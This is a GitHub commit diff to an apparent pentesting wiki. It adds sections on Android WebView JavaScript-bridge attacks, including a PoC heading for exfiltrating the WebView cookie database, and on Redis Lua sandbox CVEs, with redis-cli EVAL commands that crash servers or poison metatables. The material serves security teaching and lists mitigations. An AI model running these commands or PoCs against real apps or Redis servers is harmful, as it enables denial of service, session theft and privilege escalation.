You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
-[Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
Copy file name to clipboardExpand all lines: src/mobile-pentesting/android-app-pentesting/webview-attacks.md
+106Lines changed: 106 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -337,6 +337,109 @@ webView.reload()
337
337
338
338
- To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.
A common pattern is a single exported method (e.g., `@JavascriptInterface void invokeMethod(String json)`) that deserializes attacker-controlled JSON into a generic object and dispatches based on a provided handler name. Typical JSON shape:
343
+
344
+
```json
345
+
{
346
+
"handlerName": "toBase64",
347
+
"callbackId": "cb_12345",
348
+
"asyncExecute": "true",
349
+
"data": { /* handler-specific fields */ }
350
+
}
351
+
```
352
+
353
+
Risk: if any registered handler performs privileged actions on attacker data (e.g., direct file reads), you can call it by setting `handlerName` accordingly. Results are usually posted back into the page context via `evaluateJavascript` and a callback/promise mechanism keyed by `callbackId`.
354
+
355
+
Key hunting steps
356
+
- Decompile and grep for `addJavascriptInterface(` to learn the bridge object name (e.g., `xbridge`).
357
+
- In Chrome DevTools (chrome://inspect), type the bridge object name in the Console (e.g., `xbridge`) to enumerate exposed fields/methods; look for a generic dispatcher like `invokeMethod`.
358
+
- Enumerate handlers by searching for classes implementing `getModuleName()` or registration maps.
359
+
360
+
#### Arbitrary file read via URI → File sinks (Base64 exfiltration)
361
+
362
+
If a handler takes a URI, calls `Uri.parse(req.getUri()).getPath()`, builds `new File(...)` and reads it without allowlists or sandbox checks, you get an arbitrary file read in the app sandbox that bypasses WebView settings like `setAllowFileAccess(false)` (the read happens in native code, not via the WebView network stack).
363
+
364
+
PoC to exfiltrate the Chromium WebView cookie DB (session hijack):
365
+
366
+
```javascript
367
+
// Minimal callback sink so native can deliver the response
Privilege decisions (selecting a JSB-enabled Activity) often rely on host allowlists. A flawed pattern is:
394
+
395
+
```java
396
+
String host =Uri.parse(url).getHost();
397
+
boolean z =true;
398
+
if (!host.endsWith(".trusted.com")) {
399
+
if (!".trusted.com".endsWith(host)) {
400
+
z =false;
401
+
}
402
+
}
403
+
// z==true → open privileged WebView
404
+
```
405
+
406
+
Equivalent logic (De Morgan’s):
407
+
408
+
```java
409
+
boolean z = host.endsWith(".trusted.com") ||
410
+
".trusted.com".endsWith(host);
411
+
```
412
+
413
+
This is not an origin check. Many unintended hosts satisfy the second clause, letting untrusted domains into the privileged Activity. Always verify scheme and host against a strict allowlist (exact match or a correct subdomain check with dot-boundaries), not `endsWith` tricks.
414
+
415
+
#### javascript:// execution primitive via loadUrl
416
+
417
+
Once inside a privileged WebView, apps sometimes execute inline JS via:
418
+
419
+
```java
420
+
webView.loadUrl("javascript:"+ jsPayload);
421
+
```
422
+
423
+
If an internal flow triggers `loadUrl("javascript:...")` in that context, injected JS executes with bridge access even if the external page wouldn’t normally be allowed. Pentest steps:
424
+
- Grep for `loadUrl("javascript:` and `evaluateJavascript(` in the app.
425
+
- Try to reach those code paths after forcing navigation to the privileged WebView (e.g., via a permissive deep link chooser).
426
+
- Use the primitive to call the dispatcher (`xbridge.invokeMethod(...)`) and reach sensitive handlers.
427
+
428
+
Mitigations (developer checklist)
429
+
- Strict origin verification for privileged Activities: canonicalize and compare scheme/host against an explicit allowlist; avoid `endsWith`-based checks. Consider Digital Asset Links when applicable.
430
+
- Scope bridges to trusted pages only and re-check trust on every call (per-call authorization).
431
+
- Remove or tightly guard filesystem-capable handlers; prefer `content://` with allowlists/permissions over raw `file://` paths.
432
+
- Avoid `loadUrl("javascript:")` in privileged contexts or gate it behind strong checks.
433
+
- Remember `setAllowFileAccess(false)` doesn’t protect against native file reads via the bridge.
434
+
435
+
#### JSB enumeration and debugging tips
436
+
437
+
- Enable WebView remote debugging to use Chrome DevTools Console:
- System-side: modules like [LSPosed](https://github.com/LSPosed/LSPosed) or Frida scripts can force-enable debugging even in release builds. Example Frida snippet for Cordova WebViews: [cordova enable webview debugging](http://codeshare.frida.re/@gameFace22/cordova---enable-webview-debugging/)
440
+
- In DevTools, type the bridge object name (e.g., `xbridge`) to see exposed members and probe the dispatcher.
441
+
442
+
340
443
### Reflection-based Remote Code Execution (RCE)
341
444
342
445
- A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.
Recent Redis releases fixed multiple issues in the embedded Lua engine that allow sandbox escape, memory corruption and cross-user code execution. These techniques apply when:
259
+
- Attacker can authenticate to Redis and Lua is enabled (EVAL/EVALSHA or FUNCTION are usable)
260
+
- Redis version is older than 8.2.2, 8.0.4, 7.4.6, 7.2.11, or 6.2.20
261
+
262
+
Tip: If you are new to Lua sandboxing tricks, check this page for general techniques:
- Affected when Lua scripting is enabled and the above versions are not applied
271
+
272
+
**CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (`lparser.c: luaY_parser`)**
273
+
- Idea: Force garbage collection while the parser still references a freshly-inserted TString. When GC reclaims it, the parser uses a freed pointer (UAF) → crash/DoS and potential native code execution outside the Lua sandbox.
274
+
- Trigger strategy:
275
+
1) Create memory pressure with huge strings to encourage GC activity
276
+
2) Explicitly run GC while a large source chunk is being compiled
277
+
3) Compile a very large Lua script in a loop until GC aligns with parsing
278
+
279
+
Minimal EVAL harness to reproduce crashes
280
+
```bash
281
+
# Auth as needed (-a/--user), then run EVAL with 0 keys
282
+
redis-cli -h <host> -p 6379 -a <password> EVAL "\
283
+
local a = string.rep('asdf', 65536); \
284
+
collectgarbage('collect'); \
285
+
local src = string.rep('x', 1024 * 1024); \
286
+
local f = loadstring(src); \
287
+
return 'done'" 0
288
+
```
289
+
290
+
Notes:
291
+
- Multiple attempts may be required to align GC with luaY_parser. A crash indicates the UAF was hit.
292
+
- From exploitation to RCE requires memory grooming and native code pivoting beyond the Redis Lua sandbox.
293
+
294
+
**CVE-2025-46817 — Integer overflow in unpack (`lbaselib.c: luaB_unpack`)**
295
+
- Root cause: The count `n = e - i + 1` is computed without unsigned casts, so extreme indices wrap, making Lua attempt to unpack far more elements than exist → stack corruption and memory exhaustion.
- Expect the server to try returning an enormous number of values and eventually crash or OOM.
301
+
302
+
**CVE-2025-46818 — Cross-user privilege escalation via basic type metatables**
303
+
- Root cause: On engine initialization, metatables for basic types (e.g., strings, booleans) weren’t set read-only. Any authenticated user can poison them to inject methods other users might call later.
304
+
- Example (string metatable poisoning):
305
+
```bash
306
+
# Inject a method on strings and then exercise it
307
+
redis-cli -h <host> -p 6379 -a <password> EVAL "\
308
+
getmetatable('').__index = function(_, key) \
309
+
if key == 'testfunc' then \
310
+
return function() return 'testfuncoutput' end \
311
+
end \
312
+
end; \
313
+
return ('teststring').testfunc()" 0
314
+
# → Returns: testfuncoutput
315
+
```
316
+
- Impact: Cross-user code execution inside the Lua sandbox using the victim’s Redis permissions. Useful for lateral movement/priv-esc within Redis ACL contexts.
317
+
256
318
### Master-Slave Module
257
319
258
320
The master redis all operations are automatically synchronized to the slave redis, which means that we can regard the vulnerability redis as a slave redis, connected to the master redis which our own controlled, then we can enter the command to our own redis.
_For some reason (as for the author of_[_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)_where this info was took from) the exploitation worked with the `git` scheme and not with the `http` scheme._
308
370
371
+
## References
372
+
373
+
-[Recent Vulnerabilities in Redis Server’s Lua Scripting Engine (OffSec)](https://www.offsec.com/blog/recent-vulnerabilities-in-redis-servers-lua-scripting-engine/)
0 commit comments